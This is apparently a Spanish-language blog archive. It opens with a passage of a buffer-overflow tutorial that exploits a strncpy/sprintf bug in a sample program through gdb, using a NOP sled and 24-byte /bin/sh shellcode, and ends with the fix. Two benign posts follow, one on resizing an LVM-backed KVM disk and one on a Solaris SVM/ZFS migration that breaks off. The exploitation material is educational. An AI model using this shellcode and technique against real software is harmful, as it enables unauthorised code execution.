The strcpy() function copies the string pointed to by src, including the
terminating null byte ('\0'), to the buffer pointed to by dest.
The strings may not overlap, and the destination string dest must be large
enough to receive the copy.
The strncpy() function is similar, except that at most n bytes of src are
copied. Warning: If there is no null byte among the first n bytes
of src, the string placed in dest will not be null-terminated.
If the length of src is less than n, strncpy() pads the remainder of dest with
null bytes.
</string></pre>
</blockquote>
Para poder terminar un string de manera correcta debemos añadirle al final un <b>null byte</b> (<code>0x00 = \0</code>), por lo tanto la función <i>strncpy()</i> al encontrar el null byte, se dará cuenta que es <b>end of the string</b>, y dejará de copiar. Si este null no existiera, podríamos sencillamente seguir copiando (o modificando la memoría), sin límite alguno, pudiendo incluso poder corromper la memoria adyacente a nuestro buffer.
<br />
<br />
Veamos el siguiente ejemplo, tenemos dos buffers del tipo <i>char</i> definidos, <i>buffer1[]</i> y <i>buffer2[]</i> con el siguiente contenido:
<br />
<blockquote>
<pre>char buffer1[] = "hello";
char buffer2[] = "goodbye;
</pre>
</blockquote>
Una vez compilado, en la memoria esto se vería de la siguiente manera:
<br />
<blockquote>
<pre>[top of stack]
buffer2[0] = 'g';
buffer2[1] = 'o';
buffer2[2] = 'o';
buffer2[3] = 'd';
buffer2[4] = 'b';
buffer2[5] = 'y';
buffer2[6] = 'e';
buffer2[7] = '\0'; <-- NULL BYTE
buffer1[0] = 'h';
buffer1[1] = 'e';
buffer1[2] = 'l';
buffer1[3] = 'l';
buffer1[4] = 'o';
buffer1[5] = '\0'; <-- NULL BYTE
</pre>
</blockquote>
Entonces, ¿como podríamos nosotros atacar a nuestro programa? (<i>dsr.c</i>).
Conociendo que la función <i>strncpy()</i> va a copiar todo lo que se encuentre en el buffer hasta el último byte, nosotros esencialmente podríamos escribir 256 caracteres dentro del buffer a fin de sobreescribir el NULL byte localizado al final, accediendo y manipulando el segundo buffer y atacando a la función <i>sprintf()</i> la cual es vulnerable a buffer overflow, debido a que no tiene control sobre los flujos de datos que manipula.<br />
Ahora compilemos y desensamblemos la función <i>main()</i> de nuestro programa:
<br />
<blockquote>
<pre>(gdb) disassemble main
Dump of assembler code for function main:
0x08048474 <+0>: push ebp
0x08048475 <+1>: mov ebp,esp
0x08048477 <+3>: and esp,0xfffffff0
0x0804847a <+6>: sub esp,0x620
0x08048480 <+12>: cmp DWORD PTR [ebp+0x8],0x2
0x08048484 <+16>: jg 0x80484a8 <main>
0x08048486 <+18>: mov eax,DWORD PTR [ebp+0xc]
0x08048489 <+21>: mov edx,DWORD PTR [eax]
0x0804848b <+23>: mov eax,0x80485f4
0x08048490 <+28>: mov DWORD PTR [esp+0x4],edx
0x08048494 <+32>: mov DWORD PTR [esp],eax
0x08048497 <+35>: call 0x8048390 <printf plt="plt">
0x0804849c <+40>: mov DWORD PTR [esp],0x0
0x080484a3 <+47>: call 0x80483b0 <exit plt="plt">
0x080484a8 <+52>: mov eax,DWORD PTR [ebp+0xc]
0x080484ab <+55>: add eax,0x4
0x080484ae <+58>: mov eax,DWORD PTR [eax]
0x080484b0 <+60>: mov DWORD PTR [esp+0x8],0x100
0x080484b8 <+68>: mov DWORD PTR [esp+0x4],eax
0x080484bc <+72>: lea eax,[esp+0x19]
0x080484c0 <+76>: mov DWORD PTR [esp],eax
0x080484c3 <+79>: call 0x8048370 <strncpy plt="plt">
0x080484c8 <+84>: mov eax,DWORD PTR [ebp+0xc]
0x080484cb <+87>: add eax,0x8
0x080484ce <+90>: mov eax,DWORD PTR [eax]
0x080484d0 <+92>: mov DWORD PTR [esp+0x8],0x400
0x080484d8 <+100>: mov DWORD PTR [esp+0x4],eax
0x080484dc <+104>: lea eax,[esp+0x119]
0x080484e3 <+111>: mov DWORD PTR [esp],eax
0x080484e6 <+114>: call 0x8048370 <strncpy plt="plt">
0x080484eb <+119>: mov eax,0x8048611
0x080484f0 <+124>: lea edx,[esp+0x19]
0x080484f4 <+128>: mov DWORD PTR [esp+0x8],edx
0x080484f8 <+132>: mov DWORD PTR [esp+0x4],eax
0x080484fc <+136>: lea eax,[esp+0x519]
0x08048503 <+143>: mov DWORD PTR [esp],eax
0x08048506 <+146>: call 0x8048350 <sprintf plt="plt">
0x0804850b <+151>: lea eax,[esp+0x519]
0x08048512 <+158>: mov DWORD PTR [esp],eax
0x08048515 <+161>: call 0x80483a0 <puts plt="plt">
0x0804851a <+166>: mov eax,0x0
0x0804851f <+171>: leave
0x08048520 <+172>: ret
End of assembler dump.
</puts></sprintf></strncpy></strncpy></exit></printf></main></pre>
</blockquote>
Lo que podemos ver en el dump, es como en las primeras instrucciones reservamos memoria para nuestros tres buffers, y como luego más adelante (a partir de +52) nos preparamos para entrar en la función <i>strncpy@plt</i> para finalmente llamar a <i>sprintf@plt</i>. Como sabemos que la función <i>sprintf()</i> es vulnerable a <i>Buffer Overflow</i> vamos a proceder a atacarla!.
<br />
Lo primero que debemos realizar es determinar cual va a ser nuestro vector de ataque, en este caso lo va a ser vía <i>argv[1]</i> <i>argv[2]</i>, por lo cual, vamos a tratar de encontrar con que cantidad de bytes estos buffers (principalmente <i>argv[1]</i>) hacen overflow.<br />
<blockquote>
<pre>(gdb) set args $(python -c 'print "\x41"*256') $(python -c 'print "\x41"*14')
(gdb) r
MSG: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x00000000 EBX: 0x002BEFF4 ECX: 0x002BF4E0 EDX: 0x002C0340 o d I t s Z a P c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0x41414141 ESP: 0xBFFFF550 EIP: 0x0014000A
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
[0x007B:0xBFFFF550]------------------------------------------------------[stack]
0xBFFFF5A0 : 00 00 00 00 00 00 00 00 - 03 00 00 00 C0 83 04 08 ................
0xBFFFF590 : C8 F5 FF BF D3 C1 3F 9D - AC 76 0C 4B 00 00 00 00 ......?..v.K....
0xBFFFF580 : B0 16 13 00 F4 EF 2B 00 - 00 00 00 00 00 00 00 00 ......+.........
0xBFFFF570 : 01 00 00 00 B0 F5 FF BF - C5 E7 11 00 B0 FA 12 00 ................
0xBFFFF560 : C0 83 04 08 FF FF FF FF - C4 EF 12 00 7F 82 04 08 ................
0xBFFFF550 : 03 00 00 00 F4 F5 FF BF - 04 F6 FF BF D0 13 13 00 ................
--------------------------------------------------------------------------[code]
=> 0x14000a: add BYTE PTR [eax],al
0x14000c: adc al,BYTE PTR [eax]
0x14000e: or al,0x0
0x140010: and ax,0x0
0x140014: mov al,ds:0x3d000d60
0x140019: add BYTE PTR [eax],al
0x14001b: add BYTE PTR [edx],dl
0x14001d: add BYTE PTR [eax+eax*1],cl
--------------------------------------------------------------------------------
0x0014000a in ?? () from /lib/libc.so.6
</pre>
</blockquote>
Acabamos de escribir 256 letras "A" (<i>0x41</i>) en <i>argv[1]</i>, sobrescribiendo el NULL byte con que debía terminar este string, y pisando la memoria adyacente y sobreescribiendo registros. Primero <i>%EBP</i> y luego <i>%EIP</i>. Por lo tanto nuestro esquema quedaría así:<br />
<blockquote>
<code>[ARGV[1] == 256 bytes ]+[ARGV[2] == 14 bytes]+[EBP]+[EIP]</code></blockquote>
A fin de distinguir estas partes de manera rápida y sencilla, vamos a continuar atacando esto, escribiendo algo de basura a en <i>%EBP</i> (en este caso algunas "B" (<code>0x42424242</code>), y una return address (<code>%EIP</code>) falsa <code>0xbfffffff</code>.
<br />
<blockquote>
<pre>(gdb) set args $(python -c 'print "\x41"*256') $(python -c 'print "\x41"*10+"\x42\x42\x42\x42"+"\xff\xff\xff\xbf"')
(gdb) r
MSG: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x00000000 EBX: 0x002BEFF4 ECX: 0x002BF4E0 EDX: 0x002C0340 o d I t s Z a P c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0x42424242 ESP: 0xBFFFF550 EIP: 0xBFFFFFFF
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop:
Cannot access memory at address 0xc0000000
0xbfffffff in ?? ()
</pre>
</blockquote>
Bien!, hemos logrado adulterar el registro <i>%EIP</i> y nuestro programa intento acceder a la dirección <code>0xbffffffff</code>, la cual no es parte del espacio de direcciones de nuestro proceso, por lo cual, no existe. Ahora haremos lo siguiente:
<br />
<ul>
<li>Reemplazar los <i>0x41</i> de <i>argv[1]</i> por nops (<i>0x90</i>).</li>
<li>Restarle a la cantidad de NOPs a este el tamaño de nuestra shellcode (24 bytes)</li>
</ul>
Como sabemos una shellcode no necesariamente nos va a dar una shell, pero en este caso decidimos utilizar una que si haga esto, por lo cual ejecutaremos un clásico <i>/bin/sh</i> en tan solo 24 bytes:
<br />
<pre>PLATAFORM=Linux x86 - CMD=/bin/sh - SIZE=24 bytes
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
</pre>
Ahora configuremos esto en <i>argv[1]</i> restemos a la cantidad de NOP's los 24 bytes de nuestra shellcode y ejecutemos todo otra vez.
<br />
<blockquote>
<pre>(gdb) set args $(python -c 'print "\x90"*232+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') $(python -c 'print "\x41"*10+"\x42\x42\x42\x42"+"\xff\xff\xff\xbf"')
(gdb) r
MSG: ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS�AAAAAAAAAABBBB����
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x00000000 EBX: 0x002BEFF4 ECX: 0x002BF4E0 EDX: 0x002C0340 o d I t s Z a P c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0x42424242 ESP: 0xBFFFF550 EIP: 0xBFFFFFFF
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop:
Cannot access memory at address 0xc0000000
0xbfffffff in ?? ()
</pre>
</blockquote>
Ahora deberemos determinar en que dirección de memoria se encuentran los NOP's que acabamos de añadir, a fin de apuntar nuestra return address hacia ellos. Para ello vamos a mapear la memoria del registro <i>%ESP</i>:
<br />
<blockquote>
<pre>0xbffff740: 0x0000 0x0000 0x0000 0x0000 0x682f 0x6d6f 0x2f65 0x7474
0xbffff750: 0x3079 0x452f 0x6178 0x706d 0x656c 0x2f73 0x7364 0x0072
0xbffff760: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff770: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff780: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff790: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff7a0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff7b0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff7c0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff7d0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff7e0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff7f0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff800: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff810: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff820: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff830: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff840: 0x9090 0x9090 0x9090 0x9090 0xc031 0x6850 0x2f2f 0x6873
0xbffff850: 0x2f68 0x6962 0x896e 0x50e3 0x8953 0x99e1 0x0bb0 0x80cd
0xbffff860: 0x4100 0x4141 0x4141 0x4141 0x4141 0x4241 0x4242 0xff42
</pre>
</blockquote>
Si observamos rápidamente a partir de la dirección <code>0xbfffff760</code> empiezan nuestros NOPs, por lo tanto, esta podría ser la return address que necesitamos, más abajo vamos a encontrar nuestra shellcode (a partir de <code>0xbffff840</code>), nuestro padding (<code>0x41</code>), nuestro registro <i>%ESP</i> (<code>0x42424242</code>) y finalmente el <i>%EIP</i> (<code>0xbfffffff</code>).
Por lo tanto, ya sabemos a donde apuntar nuestro return address, así que ajustamos esto y ejecutamos todo nuevamente:
<br />
<blockquote>
<pre>(gdb) set args $(python -c 'print "\x90"*232+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') $(python -c 'print "\x41"*10+"\x42\x42\x42\x42"+"\x60\xf7\xff\xbf"')
(gdb) r
MSG: ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS�AAAAAAAAAABBBB���
process 1265 is executing new program: /bin/bash
sh-4.1$
</pre>
</blockquote>
Bien, hemos exploteado una aplicación "segura", que podría haber sido prevenido si mientras copiábamos le restamos un carácter que corresponde a nuestro NULL byte, <code>[ n - 1 ]</code>, por ejemplo:
<br />
<blockquote>
<pre>strncpy(vuln_array, argv[1], sizeof(vuln_array) - 1);
strncpy(exploit_string, argv[2], sizeof(exploit_string) - 1);
</pre>
</blockquote>
tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com5tag:blogger.com,1999:blog-5189027816427515351.post-37265865720222504642012-06-30T19:30:00.000-03:002012-10-27T20:55:12.624-03:00Linux/KVM: Growing filesystem on a LVM based virtual disk.<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_ioQyettAb9iL6W8B9jYg70U9NB0soHBDdgPRXWqmSlj-BZAYJzaBa4hDbf93GLopz9ss0JDPOcxu2NXLBMvDeXr7nhyphenhyphenW17mfwxp-IgNWc52BMVEKDkf4Ta8oCs0f-OsfISoy6aoo-Qs/s1600/KVM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_ioQyettAb9iL6W8B9jYg70U9NB0soHBDdgPRXWqmSlj-BZAYJzaBa4hDbf93GLopz9ss0JDPOcxu2NXLBMvDeXr7nhyphenhyphenW17mfwxp-IgNWc52BMVEKDkf4Ta8oCs0f-OsfISoy6aoo-Qs/s1600/KVM.png" /></a></div>
Cuando se utiliza virtualización, las capacidades de flexibilización del storage son enormes, es por ello existen diferentes formas de manejar el almacenamiento utilizando KVM como hypervisor.<br />
Una de ellas es utilizar filedisks, con los cuales, cada uno de ellos emula un disco físico en la VM y los filesystems son armados ahí mismo.<br />
Otra forma es mediante LVM dedicando uno o varios LV a uso exclusivo de la VM.<br />
Esta última forma, optimiza el I/O debido a que se evita pasar por una capa intermedia de abstracción: "un archivo", a fin de escribir los bloques de datos a disco. De esta manera las operaciones de I/O son manejadas directamente por el <i>Device Mapper</i> (LVM), y se evita caer en capas de abstracción intermediarias.<br />
Este caso era sencillo, un servidor de correos en CentOS 5.6, bajo "Zimbra", el cual tiene un disco basado en un LV (vdb1), que monta en /opt, directorio utilizado por Zimbra para mantener todos sus datos, el cual se había quedado sin espacio.<br />
<a name='more'></a>
<br />
<u>Los pasos a seguir son sencillos:</u>
<br />
<ul>
<li>Extender el LV</li>
<li>Editar la tabla de particiones de la VM</li>
<li>Extender el filesystem</li>
</ul>
Siguiendo este orden de pasos, haremos el primero de ellos, extender el LV en el cual se encuentra el disco <i>/dev/vdb1</i> de la VM, en este caso, existe un Volume Group dedicado llamado "vg_virt", el cual contiene todos los discos utilizado por las distintas VM's instaladas en el hypervisor.
Lo primero que haremos es comprobar que exista espacio disponible en el VG:
<br />
<pre>[root@kvm ~]# vgs
VG #PV #LV #SN Attr VSize VFree
Vg_root 1 2 0 wz--n- 279.25G 183.62G
vg_virt 1 1 0 wz--n- 558.88G 362.39G
</pre>
Como podemos observar, dentro de <i>vg_virt</i>, aún tenemos disponibles 362.39 Gb. Por lo cual nuestro resize es factible, ya que incrementaremos el LV <i>"vm_zimbra_data"</i> en 100 Gb.
<br />
<pre>[root@kvm ~]# lvextend -L +100G /dev/vg_virt/vm_zimbra_data
</pre>
Una vez hecho esto si volvemos, podemos comprobar que nuestro LV se extendió correctamente ejecutando <i>lvdisplay</i>
<br />
<pre>[root@kvm ~]# lvdisplay /dev/vg_virt/vm_zimbra_data
--- Logical volume ---
LV Name /dev/vg_virt/vm_zimbra_data
VG Name vgvm
LV UUID esmp7E-sC4u-wbPK-Qqf4-58wA-BVOG-F8xdmh
LV Write Access read/write
LV Status available
# open 1
LV Size 296.48 GB
Current LE 75900
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 253:2
</pre>
Este volumen que originalmente era de 196.48 Gb. Ahora se incremento en 100, dando un total de 296 Gb. Por lo cual el mismo se extendió sin problemas.
Con el objetivo de que la VM, vea el nuevo tamaño del VG, es fundamental apagarla y volver a encenderla, por lo cual desde el hypervisor ejecutamos:
<br />
<pre>[root@kvm ~]# virsh shutdown zimbra && virsh start zimbra
</pre>
Una vez booteada la VM, nos logueamos en ella (mediante <i>virsh console</i> o SSH). Y procederemos a editar la tabla de particiones. Para ello como primera medida pararemos el servicio de Zimbra, desmontaremos la partición y comenzaremos a trabajar finamente en ella:
<br />
<pre>[root@zimbra ~]# service zimbra stop
Host zimbra.foobar.net
Stopping stats...Done.
Stopping mta...Done.
Stopping spell...Done.
Stopping snmp...Done.
Stopping cbpolicyd...Done.
Stopping archiving...Done.
Stopping antivirus...Done.
Stopping antispam...Done.
Stopping imapproxy...Done.
Stopping memcached...Done.
Stopping mailbox...Done.
Stopping logger...Done.
Stopping zmconfigd...Done.
Stopping ldap...Done.
[root@zimbra ~]# umount /dev/vdb1
</pre>
Ahora, utilizando <i>fdisk</i>, cambiaremos la geometría de nuestro disco <i>/dev/vdb</i>,
<br />
<pre>[root@zimbra ~]# fdisk /dev/vdb
Command (m for help): p
Disk /dev/vdb: 318.3 GB, 318347673600 bytes
16 heads, 63 sectors/track, 616838 cylinders
Units = cylinders of 1008 * 512 = 516096 bytes
Device Boot Start End Blocks Id System
/dev/vdb1 1 408787 206028616+ 83 Linux
</pre>
Podemos observar a simple vista que la partición <i>/dev/vdb1</i> comienza en el cilindro número 1 y termina en el cilindro número 408787, si prestamos aún más atención podemos notar que el disco <i>/dev/vdb</i>, tiene 616838 cilindros, por lo cual tenemos algunos cilindros libres todavía a ser utilizados. Lo que debemos hacer es borrar la partición <i>/dev/vdb1</i>, y volver a crearla a con la única diferencia de que el último cilindro sea 616838 en lugar de 408787.<br />
Entonces ahora elimnaremos la partición número 1 (<i>/dev/vdb1</i>):
<br />
<pre>Command (m for help): d
Selected partition 1
</pre>
Comprobamos que se haya eliminado de manera correcta
<br />
<pre>Command (m for help): p
Disk /dev/vdb: 318.3 GB, 318347673600 bytes
16 heads, 63 sectors/track, 616838 cylinders
Units = cylinders of 1008 * 512 = 516096 bytes
Device Boot Start End Blocks Id System
</pre>
Y crearemos una nueva partición del tipo primaria con el comando de <i>fdsik</i> <i>"n"</i>:
<br />
<pre>Command (m for help): n
Command action
e extended
p primary partition (1-4)
</pre>
Indicamos el número de partición (1 en este caso), e indicamos la nueva geometría. El primer cilindro será nuevamente el número 1, y el último será el 616838.
<br />
<pre>Partition number (1-4): 1
First cylinder (1-616838, default 1):
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-616838, default 616838):
Using default value 616838
</pre>
Una vez definido esto escribimos los cambios a la tabla de particiones con el comando <i>"w"</i>:
<br />
<pre>Command (m for help): w
The partition table has been altered!
Calling ioctl() to re-read partition table.
Syncing disks.
</pre>
La tercera parte consiste en resizear el tamaño de nuestro disco virtual. Lo primero que haremos es ejecutar un <i>fsck</i> sobre el disco a fin de comprobar que no existan errores, si bien esto se puede forzar y omitirse, cuando son cambios críticos como en este caso, esto no es recomendable hacerlo:
<br />
<pre>[root@zimbra /]# e2fsck -f /dev/vdb1
e2fsck 1.39 (29-May-2006)
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
/dev/vdb1: 991032/25755648 files (41.6% non-contiguous), 47036062/51507154 blocks
</pre>
Ahora haremos el <i>resize2fs</i>, sobre la nueva partición, usaremos el flag <i>-p</i> a fin de imprimir cada una de las etapas de <i>resize2fs</i> y conocer que está haciendo:
<br />
<pre>[root@zimbra /]# resize2fs -p /dev/vdb1
resize2fs 1.39 (29-May-2006)
Resizing the filesystem on /dev/vdb1 to 77721580 (4k) blocks.
Begin pass 1 (max = 800)
Extending the inode table XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
The filesystem on /dev/vdb1 is now 77721580 blocks long.
</pre>
Listo, ahora montaremos nuevamente <i>/dev/vdb1</i>, y comprobaremos que se haya expandido de manera correcta:
<br />
<pre>[root@zimbra /]# mount /dev/vdb1
[root@zimbra ~]# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg00-lvroot 7.7G 4.1G 3.3G 56% /
/dev/vda1 99M 13M 82M 14% /boot
tmpfs 3.9G 0 3.9G 0% /dev/shm
/dev/vdb1 292G 177G 107G 63% /opt
</pre>
E iniciamos el servicio Zimbra nuevamente:
<br />
<pre>[root@zimbra ~]# service zimbra start
Host zimbra.foobar.net
Starting zmconfigd...Done.
Starting ldap...Done.
Starting mailbox...Done.
Starting mta...Done.
Starting antispam...Done.
Starting cbpolicyd...Done.
Starting archiving...Done.
Starting antivirus...Done.
Starting snmp...Done.
Starting imapproxy...Done.
Starting memcached...Done.
Starting logger...Done.
Starting stats...Done.
Starting spell...Done.
</pre>
<u><b>¿Por que no un online resize?</b></u><br />
Una de las posibilidades de <i>resize2fs</i> es la de hacer <i>online resize</i>, siempre que incrementemos el tamaño de un filesystem, y así evitar desmontarlo realizando la acción con un downtime mínimo.<br />
Como en este caso había que hacerlo sobre un servidor productivo, y más aún un servidor de mail, el cual, esta continuamente escribiendo a disco, esto significa reescribir metadata continuamente y poner en riesgo la consistencia del filesystem. Más aún, aprovechando que obligadamente hay que bajar el servicio Zimbra, no es mala idea también desmontar el filesystem.<br />
<br />
Hace unos días, realizando una acción muy similar a esta, me vi afectado por un bug de <i>resize2fs</i> (<a href="https://bugzilla.redhat.com/show_bug.cgi?id=525100" target="_new">Bug 525100 - resize2fs online resize hangs</a>), que esta presente en algunas versiones de RHEL y CentOS.<br />
Realizando un online resize, <i>resize2fs</i> se cuelga, tardando horas. Monitoreando la actividad de disco no se ve nada. Por lo cual, no queda mucho más que rebootear el equipo. Esto puede ser realmente peligroso respecto a la consistencia de datos en la partición afectada. Por lo cual, siendo un equipo productivo, prefiero no correr riegos :-)tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com3tag:blogger.com,1999:blog-5189027816427515351.post-18614065611513547782012-06-23T16:02:00.000-03:002012-10-27T20:55:42.686-03:00Solaris: SVM deployment and ZFS migration with minimun downtime<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwc_Ua0g2ZRwnVbarRsB7qqGMenQFpZMinDFRpkOj3uEdZOizqtgXGVoaGQYKk1ee32cgrTIKcelVK0WP8YbjDPLABGVO68RyH4dP2OlmuMA-1CYSNPFGiQKtMCOiZudROzIkOXHSjUCI/s1600/SunFire.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwc_Ua0g2ZRwnVbarRsB7qqGMenQFpZMinDFRpkOj3uEdZOizqtgXGVoaGQYKk1ee32cgrTIKcelVK0WP8YbjDPLABGVO68RyH4dP2OlmuMA-1CYSNPFGiQKtMCOiZudROzIkOXHSjUCI/s1600/SunFire.gif" /></a></div>
Hace muy pocos días, compré un viejo, pero en excelente estado, servidor <b><a href="http://sunstuff.org/hardware/systems/other/SunFire280R/" target="_new">Sun Fire 280R</a></b>. El equipo cuenta con algunos features más que interesantes, equipado con dos procesadores UltraSPARC64 III, 2 Gb. de RAM, RSC card, fuentes de alimentación redundantes, lector de DVD-R y dos discos SCSI de 36 Gb cada uno.<br />
Al momento de bootearlo por primera vez, me encontré con <b>Solaris 10 5/08</b> instalado, y prácticamente sin uso. Por lo cual no hacía reinstalar el sistema operativo. Había un solo tema negativo en esta configuración por default, el layout de particionamiento de los discos y asignación filesystems no me gustaba.
En uno de los discos estaba el sistema operativo, el <i>/export/home</i>, en otro utilizando ZFS cree un <i>zpool</i> donde instalé una zona que no quería volver a reinstalar.<br />
<a name='more'></a>
<br />
Mi idea, fue migrar algunas particiones a <b>SVM</b> (Solaris Volume Manager), armando un mirror entre ambos discos, y para las zonas armar también un zpool mirroreado, con el objetivo de obtener redundancia y mejorar la performance de I/O
La idea era migrar parte del disco a un RAID1, utilizando SVM y la otra a un Zpool utilizando mirroring, para de esta forma tener redundancia al duplicar los cabezales de lectoescritura de los discos, lo que podría acelerar en un 50% los tiempos de búsquedas y lecturas.
<br /><br />
<b><u>Solaris Volume Manager:</u></b>
<br />
Originalmente conocido como Online: DiskSuite, y luego como Solstice DiskSuite, SVM es un paquete de software que integra un Volume Manager con una gran cantidad de opciones que le provee a un sistema operativo, crear mediante software metadevices (Logical Volumes), y utilizarlo bajo distintos esquemas que provean flexibilidad y redundancia, como por ejemplo la posibilidad de crear volúmenes en RAID 0, mirrorear estos utilizando RAID 1, RAID 5, RAID 0+1 o RAID 1+0 además de Soft Partitions, a fin de poder vencer la limitación de siete slices por disco. Añadido originalmente para SunOS a finales de 1991, a sido una herramienta testeada y segura para manejar grandes volúmenes de información, teniendo la particularidad de poder convivir perfectamente con implementaciones de ZFS que se están convirtiendo en estándar en varios sistemas operativos.
<br/><br/>
<b><u>Volumes Table of Contents (VTOC):</u></b>
<br />
Como en PC/BIOS MBR es el estándar de particionamiento, y los BSD Labels lo son para sistemas operativos BSD, Solaris utiliza la VTOC (muy similar a BSD), esto es una tabla en la cual divide al disco en ocho posibles particiones o slices que van desde la 0 a la 7. VTOC predefine algunos slices para ser utilizados comúnmente de una manera especificada, por ejemplo el slice 0, es la <i>root partition</i>, osea, donde el sistema operativo booteara, el número 1 corresponde a la swap, y existe un slice especial denominado <i>backup</i>, el número 2 de nuestra tabla, este slice contiene todos los bloques disponibles en la unidad de almacenamiento que serán luego redistribuidos en el esquema de particionamiento elegido y nunca debe ser utilizado. Como seguramente habrán notado, también es posible asignarle flags a las particiones, el flag "w" especifica que la partición es escribible, por su parte el flag "m" nos quiere decir que la partición se puede montar, y el flag "u", que esta partición no puede ser montada (como es el caso de la swap).
<br />
<u><br />Veamos un ejemplo:</u>
<pre>Part Tag Flag Cylinders Size Blocks
0 root wm 363 - 6170 8.00GB 16779312
1 swap wu 0 - 362 512.06MB 1048707
2 backup wm 0 - 24619 33.92GB 71127180
3 home wm 6171 - 6896 1.00GB 2097414
4 unassigned wm 6897 - 14156 10.00GB 20974140
5 unassigned wm 0 0 0
6 unassigned wm 0 0 0
7 unassigned wu 14157 - 14227 100.16MB 205119
</pre>
Ahora bien, ya con estos conocimiento en mente, vamos a describir como estaban definidos nuestros discos:<br />
<br />
<u>La configuración de particionamiento es la siguiente:</u><br />
<ul>
<li>c1t0d0 (36 Gb.) - Sistema operativo (UFS)</li>
<li>c1t1d0 (36 Gb.) - Zonas (ZFS)</li>
</ul>
Si analizamos el layout del primer disco, podemos notar que en <i>c0t1d0s0</i> se encontraba el <i>rootfs</i> (/), en <i>c0t0d0s1</i> la swap, y en c0t1d0s3 <i>/export/home</i>. Por su parte en <i>c1t1d0s7</i>, existe un <i>zpool</i>, llamado <i>"zones</i>, que contiene una zona <i>"testing"</i>, instalada sobre un filesystem con el mismo nombre.<br />
<div class="separator" style="clear: both; text-align: center;">
</div><br />
<u><b>Manos a la obra</b></u><br />
Comprobamos la existencia de la zona mediante <i>zoneadm</i>, podemos ver que la misma se encuentra corriendo, ejecutando servicios web y esta dentro del zpool creado especialmente para este fin, conformado por un solo disco, destro del slice 7 (c1t1d0s7):
<br />
<div class="highlight">
<pre>shangai /#> zoneadm list -vi
ID NAME STATUS PATH BRAND IP
0 global running / native shared
1 testing running /zones/testing native shared
